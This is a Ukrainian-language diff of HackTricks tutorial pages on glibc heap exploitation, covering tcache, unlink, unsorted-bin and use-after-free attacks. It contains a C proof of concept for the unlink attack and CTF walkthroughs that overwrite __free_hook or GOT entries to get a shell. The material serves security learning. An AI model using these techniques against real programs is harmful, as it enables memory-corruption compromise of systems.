* **Витік інформації про Libc**: Є використання після вивільнення та подвійне вивільнення. У цьому описі автор витік адреси libc, прочитавши адресу чанку, розміщеного в малому біні (наприклад, витік з неупорядкованого біна, але з малого).
|
||||
* **Атака на Tcache**: Виконується Tcache через **подвійне вивільнення**. Той самий чанк вивільнюється двічі, тому всередині Tcache чанк буде вказувати на себе. Потім його виділять, його вказівник FD буде змінено на вказувати на **free hook**, і потім його знову виділять, тому наступний чанк у списку буде в free hook. Потім його також виділять і буде можливо записати адресу `system` тут, тому коли виділений malloc, що містить `"/bin/sh"`, буде вивільнений, ми отримаємо оболонку.
|
||||
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps0/index.html)
|
||||
* Основна уразливість тут - можливість `вивільнити` будь-яку адресу в купі, вказавши її зміщення
|
||||
* **Атаки на індекси Tcache**: Можливо виділити та вивільнити чанк розміру, який, коли збережений всередині tcache чанку (чанку з інформацією про біни tcache), згенерує **адресу зі значенням 0x100**. Це тому, що tcache зберігає кількість чанків у кожному біні у різних байтах, тому один чанк у одному конкретному індексі генерує значення 0x100.
|
||||
* Потім це значення виглядає так, ніби є чанк розміру 0x100. Це дозволяє зловживати цим, `вивільнивши` цю адресу. Це додасть цю адресу до індексу чанків розміром 0x100 в tcache.
|
||||
* Потім, **виділивши** чанк розміром **0x100**, попередня адреса буде повернена як чанк, дозволяючи перезаписати інші індекси tcache.\
|
||||
Наприклад, вставляючи адресу malloc hook в один з них та виділяючи чанк розміру цього індексу, дозволить отримати чанк у calloc hook, що дозволяє написати one gadget для отримання оболонки.
|
||||
* CTF [https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html](https://guyinatuxedo.github.io/44-more\_tcache/csaw19\_popping\_caps1/index.html)
|
||||
* Та ж уразливість, що й раніше з одним додатковим обмеженням
|
||||
* **Атаки на індекси Tcache**: Схожа атака на попередню, але з меншою кількістю кроків, **вивільнивши чанк, що містить інформацію про tcache**, тому його адреса додається до індексу tcache його розміру, тому можливо виділити цей розмір та отримати інформацію про чанк tcache як чанк, що дозволяє додати free hook як адресу одного індексу, виділити його та написати one gadget на ньому.
|
||||
* [**Math Door. HTB Cyber Apocalypse CTF 2023**](https://7rocky.github.io/en/ctf/other/htb-cyber-apocalypse/math-door/)
|
||||
* **Запис після вивільнення**, щоб додати число до вказівника `fd`.
|
||||
* Для цього завдання потрібно багато **heap feng-shui**. У описі показано, як **керування головою списку вільних чанків Tcache** досить зручно.
|
||||
* **Витік Glibc** через `stdout` (FSOP).
|
||||
* **Забруднення Tcache** для отримання примітиву довільного запису.
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
153
binary-exploitation/libc-heap/unlink-attack.md
Normal file
153
binary-exploitation/libc-heap/unlink-attack.md
Normal file
|
@ -0,0 +1,153 @@
|
|||
# Атака Unlink
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання HackTricks GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Коли цю атаку виявили, вона в основному дозволяла WWW (Write What Where), однак, були додані **перевірки**, що робить нову версію атаки більш цікавою, складною та **некорисною**.
|
||||
|
||||
### Приклад коду:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Код</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Altered from https://github.com/DhavalKapil/heap-exploitation/tree/d778318b6a14edad18b20421f5a06fa1a6e6920e/assets/files/unlink_exploit.c to make it work
|
||||
|
||||
struct chunk_structure {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct chunk_structure *fd;
|
||||
struct chunk_structure *bk;
|
||||
char buf[10]; // padding
|
||||
};
|
||||
|
||||
int main() {
|
||||
unsigned long long *chunk1, *chunk2;
|
||||
struct chunk_structure *fake_chunk, *chunk2_hdr;
|
||||
char data[20];
|
||||
|
||||
// First grab two chunks (non fast)
|
||||
chunk1 = malloc(0x8000);
|
||||
chunk2 = malloc(0x8000);
|
||||
printf("Stack pointer to chunk1: %p\n", &chunk1);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk2: %p\n", chunk2);
|
||||
|
||||
// Assuming attacker has control over chunk1's contents
|
||||
// Overflow the heap, override chunk2's header
|
||||
|
||||
// First forge a fake chunk starting at chunk1
|
||||
// Need to setup fd and bk pointers to pass the unlink security check
|
||||
fake_chunk = (struct chunk_structure *)chunk1;
|
||||
fake_chunk->size = 0x8000;
|
||||
fake_chunk->fd = (struct chunk_structure *)(&chunk1 - 3); // Ensures P->fd->bk == P
|
||||
fake_chunk->bk = (struct chunk_structure *)(&chunk1 - 2); // Ensures P->bk->fd == P
|
||||
|
||||
// Next modify the header of chunk2 to pass all security checks
|
||||
chunk2_hdr = (struct chunk_structure *)(chunk2 - 2);
|
||||
chunk2_hdr->prev_size = 0x8000; // chunk1's data region size
|
||||
chunk2_hdr->size &= ~1; // Unsetting prev_in_use bit
|
||||
|
||||
// Now, when chunk2 is freed, attacker's fake chunk is 'unlinked'
|
||||
// This results in chunk1 pointer pointing to chunk1 - 3
|
||||
// i.e. chunk1[3] now contains chunk1 itself.
|
||||
// We then make chunk1 point to some victim's data
|
||||
free(chunk2);
|
||||
printf("Chunk1: %p\n", chunk1);
|
||||
printf("Chunk1[3]: %x\n", chunk1[3]);
|
||||
|
||||
chunk1[3] = (unsigned long long)data;
|
||||
|
||||
strcpy(data, "Victim's data");
|
||||
|
||||
// Overwrite victim's data using chunk1
|
||||
chunk1[0] = 0x002164656b636168LL;
|
||||
|
||||
printf("%s\n", data);
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
```
|
||||
</details>
|
||||
|
||||
* Атака не працює, якщо використовуються tcaches (після версії 2.26)
|
||||
|
||||
### Мета
|
||||
|
||||
Ця атака дозволяє **змінити вказівник на блок так, щоб він вказував на 3 адреси перед собою**. Якщо нове місце (навколишність, де знаходився вказівник) містить цікаві речі, наприклад інші керовані виділення / стек..., можливо зчитати/перезаписати їх, щоб завдати більшої шкоди.
|
||||
|
||||
* Якщо цей вказівник знаходився в стеку, оскільки тепер він вказує на 3 адреси перед собою і користувач, можливо, може зчитати його та змінити, буде можливо витік чутливої інформації зі стеку або навіть змінити адресу повернення (можливо) без торканнясь канарейки
|
||||
* У прикладах CTF цей вказівник знаходиться в масиві вказівників на інші виділення, тому, зробивши його вказувати на 3 адреси перед і маючи можливість зчитувати та записувати його, можливо зробити інші вказівники вказувати на інші адреси.\
|
||||
Оскільки користувач може також зчитувати/писати інші виділення, він може витікати інформацію або перезаписувати нову адресу в довільних місцях (наприклад, в GOT).
|
||||
|
||||
### Вимоги
|
||||
|
||||
* Деякий контроль у пам'яті (наприклад, стек), щоб створити кілька блоків, надаючи значення деяким атрибутам.
|
||||
* Витік стеку для встановлення вказівників фальшивого блоку.
|
||||
|
||||
### Атака
|
||||
|
||||
* Є кілька блоків (блок1 та блок2)
|
||||
* Атакуючий контролює вміст блоку1 та заголовки блоку2.
|
||||
* У блоку1 атакуючий створює структуру фальшивого блоку:
|
||||
* Щоб обійти захисти, він переконується, що поле `size` є правильним, щоб уникнути помилки: `corrupted size vs. prev_size while consolidating`
|
||||
* і поля `fd` та `bk` фальшивого блоку вказують на те місце, де зберігається вказівник блоку1 з зміщеннями -3 та -2 відповідно, так що `fake_chunk->fd->bk` та `fake_chunk->bk->fd` вказують на позицію в пам'яті (стек), де знаходиться справжня адреса блоку1:
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1245).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
* Заголовки блоку2 змінені так, щоб вказувати, що попередній блок не використовується і що розмір - це розмір фальшивого блоку.
|
||||
* Коли другий блок вивільняється, тоді відбувається роз'єднання цього фальшивого блоку:
|
||||
* `fake_chunk->fd->bk` = `fake_chunk->bk`
|
||||
* `fake_chunk->bk->fd` = `fake_chunk->fd`
|
||||
* Раніше було зроблено так, що `fake_chunk->fd->bk` та `fake_chunk->bk->fd` вказують на те саме місце (місце в стеці, де зберігалася `chunk1`), тому це був дійсний зв'язаний список. Оскільки **обидва вказують на те саме місце**, тільки останній (`fake_chunk->bk->fd = fake_chunk->fd`) буде **виконаний**.
|
||||
* Це призведе до **перезапису вказівника на блок1 в стеці на адресу (або байти), збережену 3 адреси перед в стеці**.
|
||||
* Таким чином, якщо атакуючий зможе контролювати вміст блоку1 знову, він зможе **писати всередину стеку**, можливо перезаписати адресу повернення, обійшовши канарейку та змінивши значення та вказівники локальних змінних. Навіть знову змінюючи адресу блоку1, збережену в стеці, на інше місце, де якщо атакуючий зможе знову контролювати вміст блоку1, він зможе писати де завгодно.
|
||||
* Зверніть увагу, що це було можливо через те, що **адреси зберігаються в стеці**. Ризик та експлуатація можуть залежати від **того, де зберігаються адреси фальшивого блоку**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1246).png" alt=""><figcaption><p><a href="https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit">https://heap-exploitation.dhavalkapil.com/attacks/unlink_exploit</a></p></figcaption></figure>
|
||||
|
||||
## Посилання
|
||||
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit](https://heap-exploitation.dhavalkapil.com/attacks/unlink\_exploit)
|
||||
* Хоча було б дивно знайти атаку unlink навіть у CTF, ось деякі описи, де ця атака використовувалася:
|
||||
* Приклад CTF: [https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html](https://guyinatuxedo.github.io/30-unlink/hitcon14\_stkof/index.html)
|
||||
* У цьому прикладі, замість стеку є масив адрес, виділених за допомогою malloc. Атака unlink виконується для можливості виділення блоку тут, тому можливо керувати вказівниками масиву виділених адрес. Потім є ще одна функціональність, яка дозволяє змінювати вміст блоків за цими адресами, що дозволяє вказувати адреси на GOT, змінювати адреси функцій для отримання витоків та RCE.
|
||||
* Інший приклад CTF: [https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html](https://guyinatuxedo.github.io/30-unlink/zctf16\_note2/index.html)
|
||||
* Точно так само, як у попередньому прикладі, є масив адрес виділень. Можливо виконати атаку unlink, щоб адреса першого виділення вказувала на кілька позицій перед початком масиву, а потім перезаписати це виділення на новій позиції. Таким чином, можливо перезаписати вказівники інших виділень, щоб вказувати на GOT atoi, вивести його, щоб отримати витік libc, а потім перезаписати GOT atoi адресою до одного гаджета.
|
||||
* Приклад CTF з власними функціями malloc та free, які зловживають вразливістю, дуже схожою на атаку unlink: [https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw17\_minesweeper/index.html)
|
||||
* Є переповнення, яке дозволяє керувати вказівниками FD та BK власного malloc, який буде (власноруч) вивільнений. Крім того, у купі є біт exec, тому можливо витікати адресу купи та вказувати функцію з GOT на купу з shellcode для виконання.
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
86
binary-exploitation/libc-heap/unsorted-bin-attack.md
Normal file
86
binary-exploitation/libc-heap/unsorted-bin-attack.md
Normal file
|
@ -0,0 +1,86 @@
|
|||
# Атака на несортирований бін
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Для отримання додаткової інформації про те, що таке несортований бін, перегляньте цю сторінку:
|
||||
|
||||
{% content-ref url="bins-and-memory-allocations.md" %}
|
||||
[bins-and-memory-allocations.md](bins-and-memory-allocations.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
Несортовані списки можуть записувати адресу у `unsorted_chunks (av)` в адресу `bk` частинки. Тому, якщо зловмисник може **змінити адресу вказівника `bk`** в частинці всередині несортованого біна, він може **записати цю адресу в довільну адресу**, що може бути корисним для витоку адрес Glibc або обхіду деяких захистів.
|
||||
|
||||
Отже, в основному, ця атака дозволяє **встановити велике число за довільною адресою**. Це велике число - це адреса, яка може бути адресою купи або адресою Glibc. Типовою ціллю є **`global_max_fast`**, щоб дозволити створювати швидкі бін-біни з більшими розмірами (і перейти від атаки на несортований бін до атаки на швидкий бін).
|
||||
|
||||
{% hint style="success" %}
|
||||
Подивившись на приклад, наведений за посиланням [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#principle) та використовуючи 0x4000 та 0x5000 замість 0x400 та 0x500 як розміри частинок (щоб уникнути Tcache), можна побачити, що **в наші дні** спрацьовує помилка **`malloc(): unsorted double linked list corrupted`**.
|
||||
|
||||
Отже, ця атака на несортований бін тепер (поміж інших перевірок) також вимагає можливості виправити подвійний зв'язаний список, щоб це було обхідно `victim->bk->fd == victim` або ні `victim->fd == av (arena)`, що означає, що адреса, куди ми хочемо записати, повинна мати адресу фальшивої частинки у своїй позиції `fd`, і що фальшива частина `fd` вказує на арену.
|
||||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Зауважте, що ця атака порушує несортований бін (тому малі та великі теж). Тому ми можемо **використовувати виділення лише зі швидкого біна тепер** (складніша програма може робити інші виділення та аваріювати), і для того, щоб спровокувати це, ми повинні **виділити такий самий розмір, або програма аваріює.**
|
||||
|
||||
Зауважте, що перезапис **`global_max_fast`** може допомогти в цьому випадку, довіряючи, що швидкий бін зможе доглядати за всіма іншими виділеннями до завершення експлойту.
|
||||
{% endhint %}
|
||||
|
||||
Код від [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/unsorted\_explanation/index.html) добре пояснює це, хоча, якщо ви зміните виклики malloc для виділення пам'яті достатньо великого розміру, щоб уникнути потрапляння в Tcache, ви побачите, що згадана вище помилка заважає цій техніці: **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
## Атака на витік інформації з несортованого біна
|
||||
|
||||
Це насправді дуже просте поняття. Частинки в несортованому біні матимуть вказівники. Перша частина в несортованому біні фактично матиме **`fd`** та **`bk`** посилання **на частину основної арени (Glibc)**.\
|
||||
Отже, якщо ви можете **помістити частинку всередину несортованого біна та прочитати її** (використання після вивільнення) або **виділити її знову без перезаписування принаймні 1 з посилань**, щоб потім **прочитати** її, ви можете отримати **витік інформації Glibc**.
|
||||
|
||||
Схожий [**атака, використана в цьому описі**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw18\_alienVSsamurai/index.html), полягала в зловживанні структури з 4 частинок (A, B, C та D - D призначено лише для запобігання консолідації з верхньою частиною) таким чином, що переповнення нульовим байтом в B використовувалося для того, щоб C вказувала, що B не використовується. Також, в B дані `prev_size` були змінені, так що розмір замість розміру B був A+B.\
|
||||
Потім C було вивільнено та консолідовано з A+B (але B все ще був у використанні). Було виділено нову частинку розміром A, і тоді адреси, витікнуті з бібліотеки, були записані в B, звідки вони витікали.
|
||||
|
||||
## Посилання та інші приклади
|
||||
|
||||
* [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted\_bin\_attack/#hitcon-training-lab14-magic-heap)
|
||||
* Мета полягає в перезаписі глобальної змінної значенням більше 4869, щоб отримати прапорець, і PIE не увімкнено.
|
||||
* Можливо створювати частинки довільних розмірів, існує переповнення купи з бажаним розміром.
|
||||
* Атака починається створенням 3 частинок: частина 0 для зловживання переповненням, частина 1 для переповнення та частина 2, щоб верхня частина не консолідувалася з попередніми.
|
||||
* Потім частина 1 вивільнюється, і частина 0 переповнюється, так що вказівник `bk` частинки 1 вказує на: `bk = magic - 0x10`
|
||||
* Потім частина 3 виділяється з таким самим розміром, як частина 1, що спровокує атаку на несортований бін та змінить значення глобальної змінної, що дозволить отримати прапорець.
|
||||
* [**https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin\_attack/0ctf16\_zerostorage/index.html)
|
||||
* Функція злиття є вразливою, оскільки якщо обидва передані індекси однакові, вона перерозподілить їх, а потім вивільнить, але поверне вказівник на ту вивільнену область, яку можна використовувати.
|
||||
* Тому **створюються 2 частинки**: **частина 0**, яка буде злита з собою, та частина 1, щоб запобігти консолідації з верхньою частиною. Потім **викликається функція злиття з частиною 0** двічі, що призведе до використання після вивільнення.
|
||||
* Потім викликається функція **`view`** з індексом 2 (індекс частинки після вивільнення), яка **витікає адресу бібліотеки**.
|
||||
* Оскільки бінарний файл має захисти, що дозволяють виділяти лише розміри більше **`global_max_fast`**, тому не використовується fastbin, буде використано атаку на несортований бін для перезапису глобальної змінної `global_max_fast`.
|
||||
* Потім можливо викликати функцію редагування з індексом 2 (вказівник після вивільнення) та перезаписати вказівник `bk`, щоб вказував на `p64(global_max_fast-0x10)`. Потім, створюючи нову частинку, буде використана раніше скомпрометована адреса вивільнення (0x20) та **спровокує атаку на несортований бін**, перезаписуючи `global_max_fast` значенням дуже великого числа, що дозволяє тепер створювати частинки в швидких бінах.
|
||||
* Тепер виконується **атака на швидкий бін**:
|
||||
* По-перше, виявлено, що можна працювати зі швидкими **частинками розміром 200** в місці **`__free_hook`**:
|
||||
* <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
* Якщо нам вдасться отримати швидкий чанк розміром 0x200 у цьому місці, буде можливо перезаписати вказівник функції, який буде виконаний
|
||||
* Для цього створюється новий чанк розміром `0xfc` і функція зливається з цим вказівником двічі, таким чином ми отримуємо вказівник на вивільнений чанк розміром `0xfc*2 = 0x1f8` у швидкому біні.
|
||||
* Потім в цьому чанку викликається функція редагування для модифікації адреси **`fd`** цього швидкого біна, щоб вказувати на попередню функцію **`__free_hook`**.
|
||||
* Потім створюється чанк розміром `0x1f8`, щоб отримати зі швидкого біна попередній непотрібний чанк, тому створюється ще один чанк розміром `0x1f8`, щоб отримати швидкий чанк у **`__free_hook`**, який перезаписується адресою функції **`system`**.
|
||||
* І, нарешті, вивільняється чанк, що містить рядок `/bin/sh\x00`, викликаючи функцію видалення, що спричиняє виклик функції **`__free_hook`**, яка вказує на систему з параметром `/bin/sh\x00`.
|
||||
* **CTF** [**https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html**](https://guyinatuxedo.github.io/33-custom\_misc\_heap/csaw19\_traveller/index.html)
|
||||
* Ще один приклад зловживання переливанням 1B для консолідації чанків у неупорядкованому біні та отримання інформації про libc, а потім виконання швидкого біну атаки для перезаписування гачка malloc адресою одного гаджета
|
||||
* [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
|
||||
* Ми можемо виділяти лише чанки розміром більше `0x100`.
|
||||
* Перезаписати `global_max_fast`, використовуючи атаку на неупорядкований бін (працює 1/16 раз через ASLR, оскільки нам потрібно змінити 12 бітів, але ми повинні змінити 16 бітів).
|
||||
* Атака швидкого біна для модифікації глобального масиву чанків. Це надає примітив читання/запису, що дозволяє модифікувати GOT та встановлювати деякі функції для вказівки на `system`.
|
46
binary-exploitation/libc-heap/use-after-free/README.md
Normal file
46
binary-exploitation/libc-heap/use-after-free/README.md
Normal file
|
@ -0,0 +1,46 @@
|
|||
# Використання після вивільнення
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> \
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**Навчання HackTricks GCP Red Team Expert (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Основна інформація
|
||||
|
||||
Як із назви випливає, ця уразливість виникає, коли програма **виділяє певний простір** у купі для об'єкта, **записує** туди деяку інформацію, **вивільняє** його, оскільки він більше не потрібен, а потім **знову звертається до нього**.
|
||||
|
||||
Проблема полягає в тому, що це не є незаконним (тут **не буде помилок**), коли **звертаються до вивільненої пам'яті**. Таким чином, якщо програма (або зловмисник) змогла **виділити вивільнену пам'ять та зберегти довільні дані**, коли вивільнена пам'ять знову звертається з початкового вказівника, **ці дані будуть перезаписані**, що призведе до **уразливості, яка буде залежати від чутливості даних**, які були збережені спочатку (якщо це був вказівник на функцію, яка мала бути викликана, зловмисник може контролювати її).
|
||||
|
||||
### Атака First Fit
|
||||
|
||||
Атака First Fit націлена на спосіб, яким деякі алокатори пам'яті, наприклад, у glibc, керують вивільненою пам'яттю. Коли ви вивільняєте блок пам'яті, він додається до списку, і нові запити пам'яті беруться з цього списку з кінця. Зловмисники можуть використовувати цю поведінку для маніпулювання **які блоки пам'яті повторно використовуються, потенційно набуваючи контроль над ними**. Це може призвести до проблем "використання після вивільнення", де зловмисник може **змінити вміст пам'яті, яка повторно виділяється**, створюючи ризик для безпеки.\
|
||||
Додаткову інформацію можна знайти за посиланням:
|
||||
|
||||
{% content-ref url="first-fit.md" %}
|
||||
[first-fit.md](first-fit.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> [**Навчання HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte) <img src="/.gitbook/assets/arte.png" alt="" data-size="line"> \
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line"> [**Навчання HackTricks GCP Red Team Expert (GRTE)** <img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакерські трюки, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
73
binary-exploitation/libc-heap/use-after-free/first-fit.md
Normal file
73
binary-exploitation/libc-heap/use-after-free/first-fit.md
Normal file
|
@ -0,0 +1,73 @@
|
|||
# Перший Підбір
|
||||
|
||||
{% hint style="success" %}
|
||||
Вивчайте та практикуйте хакінг AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**Навчання AWS Red Team Expert (ARTE) від HackTricks**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Вивчайте та практикуйте хакінг GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**Навчання GCP Red Team Expert (GRTE) від HackTricks**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Підтримайте HackTricks</summary>
|
||||
|
||||
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
|
||||
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Поширюйте хакінг-прийоми, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **та** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## **Перший Підбір**
|
||||
|
||||
Коли ви вивільняєте пам'ять у програмі, використовуючи glibc, для керування фрагментами пам'яті використовуються різні "біни". Ось спрощене пояснення двох загальних сценаріїв: неупорядковані біни та швидкі біни.
|
||||
|
||||
### Неупорядковані Біни
|
||||
